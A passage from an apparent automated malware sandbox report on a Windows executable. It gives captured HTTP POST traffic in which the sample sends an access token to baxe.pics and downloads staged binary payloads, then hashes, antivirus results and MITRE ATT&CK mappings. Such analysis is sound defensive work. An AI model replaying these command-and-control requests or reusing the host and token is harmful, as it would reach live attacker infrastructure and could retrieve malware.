no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&step=3" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:15:59 GMT Content-Type: application/octet-stream Content-Length: 6390 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"18f6-IL2Q1AjJp3kxpH09tpNt73s/gac" with response body ==>C2BF36C2AF2EC3B6C39A6EC292C3B60DC3B7C38D0BC3A6C388C396C3B5C38DC28777C2953B43735BC3B002C2B57FC3BAC3BDC3883EC29FC2AB6C60C2BFC29A4E......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 81 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&debug=http://baxe.pics:48261-56" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:15:59 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&step=4" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:16:00 GMT Content-Type: application/octet-stream Content-Length: 7764 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"1e54-6atKkOHbyVlMuDrxUFDPxtIncMw" with response body ==>C38054C392C28FC2AC73C38A502CC399771EC38AC2B312C2BCC283C3B5C2A8C38E6EC282C3BE13C2AB5BC39B08C3B8C2B4C3A349C3B47DC286C2B0C29BC39536......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 81 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&debug=http://baxe.pics:48261-56" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:16:00 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&step=5" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:16:01 GMT Content-Type: application/octet-stream Content-Length: 44334 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"ad2e-5kwCU/cjwN72Hg+QZr5JYqAuw1M" with response body ==>C29446C3B401C2A2C2B003750A6B05C393C39EC3BE54C3A932C3B7C2A9C2A67826C38E2FC29D1C39C28837C2B7C3810AC2881A5CC2A91F43237AC28BC2B9C38C......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:16:01 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:16:02 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:16:02 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:16:03 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:16:03 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:16:04 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:16:04 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D.......30:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":85,"unified_at_epoch_ms":1793972184171,"unified_at":"2026-11-06T13:36:24.171Z","metadata":{"hashes":{"sha256":"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f","sha1":"09210eee3a96dccdf339800a81b1c440ee8c7ecc","md5":"0f77927e8c8bb00f4ac815f5e24ab277","sha512":"010a1fac2218747f3b9beb79d4428d1b95d26e58f18650e628e98a404d2f7179840b9ea54e11eabb15dac47765f918248473fe21ce3a3218bdc31c3c5ceeb0b8","ssdeep":"24576:eWVlvo0ZMvx0ppPpHwtVdDB6X9CC7pMEUrMTAAOtP9glUn:eWVFo0ZMvx0ppytVdDYX9CC7pME0A+H","ssdeep_chunks":["24576:eWVlvo0","24576:WVlvo0Z","24576:Vlvo0ZM","24576:lvo0ZMv","24576:vo0ZMvx","24576:o0ZMvx0","24576:0ZMvx0p","24576:ZMvx0pp","24576:Mvx0ppP","24576:vx0ppPp","24576:x0ppPpH","24576:0ppPpHw","24576:ppPpHwt","24576:pPpHwtV","24576:PpHwtVd","24576:pHwtVdD","24576:HwtVdDB","24576:wtVdDB6","24576:tVdDB6X","24576:VdDB6X9","24576:dDB6X9C","24576:DB6X9CC","24576:B6X9CC7","24576:6X9CC7p","24576:X9CC7pM","24576:9CC7pME","24576:CC7pMEU","24576:C7pMEUr","24576:7pMEUrM","24576:pMEUrMT","24576:MEUrMTA","24576:EUrMTAA","24576:UrMTAAO","24576:rMTAAOt","24576:MTAAOtP","24576:TAAOtP9","24576:AAOtP9g","24576:AOtP9gl","24576:OtP9glU","24576:tP9glUn","49152:eWVlvo0","49152:WVlvo0Z","49152:Vlvo0ZM","49152:lvo0ZMv","49152:vo0ZMvx","49152:o0ZMvx0","49152:0ZMvx0p","49152:ZMvx0pp","49152:Mvx0ppP","49152:vx0ppPp","49152:x0ppPpH","49152:0ppPpHw","49152:ppPpHwt","49152:pPpHwtV","49152:PpHwtVd","49152:pHwtVdD","49152:HwtVdDB","49152:wtVdDB6","49152:tVdDB6X","49152:VdDB6X9","49152:dDB6X9C","49152:DB6X9CC","49152:B6X9CC7","49152:6X9CC7p","49152:X9CC7pM","49152:9CC7pME","49152:CC7pMEU","49152:C7pMEUr","49152:7pMEUrM","49152:pMEUrMT","49152:MEUrMTA","49152:EUrMTAA","49152:UrMTAAO","49152:rMTAAOt","49152:MTAAOtP","49152:TAAOtP9","49152:AAOtP9g","49152:AOtP9gl","49152:OtP9glU","49152:tP9glUn","24576:eWVFo0Z","24576:WVFo0ZM","24576:VFo0ZMv","24576:Fo0ZMvx","24576:Mvx0ppy","24576:vx0ppyt","24576:x0ppytV","24576:0ppytVd","24576:ppytVdD","24576:pytVdDY","24576:ytVdDYX","24576:tVdDYX9","24576:VdDYX9C","24576:dDYX9CC","24576:DYX9CC7","24576:YX9CC7p","24576:CC7pME0","24576:C7pME0A","24576:7pME0A+","24576:pME0A+H"],"imphash":"ebc247a77b4d4a804b261f97a1fd075c"},"file_info":{"file_name":"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":1931992,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1776471319000,"last_seen":1776471326000,"last_multi_scan":1776471326000}},"detections":{"summary":{"verdict":"malicious","score":85,"tags":["evasive","malicious"]},"stats":{"av":{"malicious_count":1,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":71},"sandbox_signatures":{"informative_count":145,"suspicious_count":8,"malicious_count":6,"total":159},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_70% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win/malicious_confidence_70%","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Possibly references Golang binary related string"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to modify process attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"malicious","value":"The input sample is signed with an invalid certificate"},{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox 